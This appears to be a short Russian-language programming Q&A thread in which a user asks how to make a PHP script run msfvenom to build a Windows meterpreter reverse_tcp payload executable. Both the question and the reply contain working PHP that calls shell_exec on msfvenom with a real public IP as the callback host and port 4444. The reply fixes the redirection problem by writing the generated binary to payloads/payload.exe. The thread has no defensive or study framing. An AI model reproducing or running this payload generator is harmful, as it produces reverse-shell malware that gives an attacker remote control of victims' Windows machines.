Я пытаюсь сделать php-скрипт, который генерирует базовую полезную нагрузку обратного tcp meterpreter.
<?php $cmd = shell_exec('msfvenom -p windows/meterpreter/reverse_tcp LHOST=46.101.255.58 LPORT=4444 -f exe > payloads/payload.exe'); echo $cmd; ?>
Когда я хочу вывести файл, мне нужно использовать > условное обозначение. Это завершает тег php и не генерирует скрипт. Есть ли способ, которым я могу использовать > символ в php без закрытия тега?
>
Попробуй это
<?php $file = fopen("payloads/payload.exe","w"); $cmd = shell_exec('msfvenom -p windows/meterpreter/reverse_tcp LHOST=46.101.255.58 LPORT=4444 -f exe'); echo $cmd; fwrite($file,$cmd); fclose($file); ?>
Я также рекомендовал бы не публиковать ваш публичный IP-адрес в Интернете под вашим именем пользователя.
Других решений пока нет …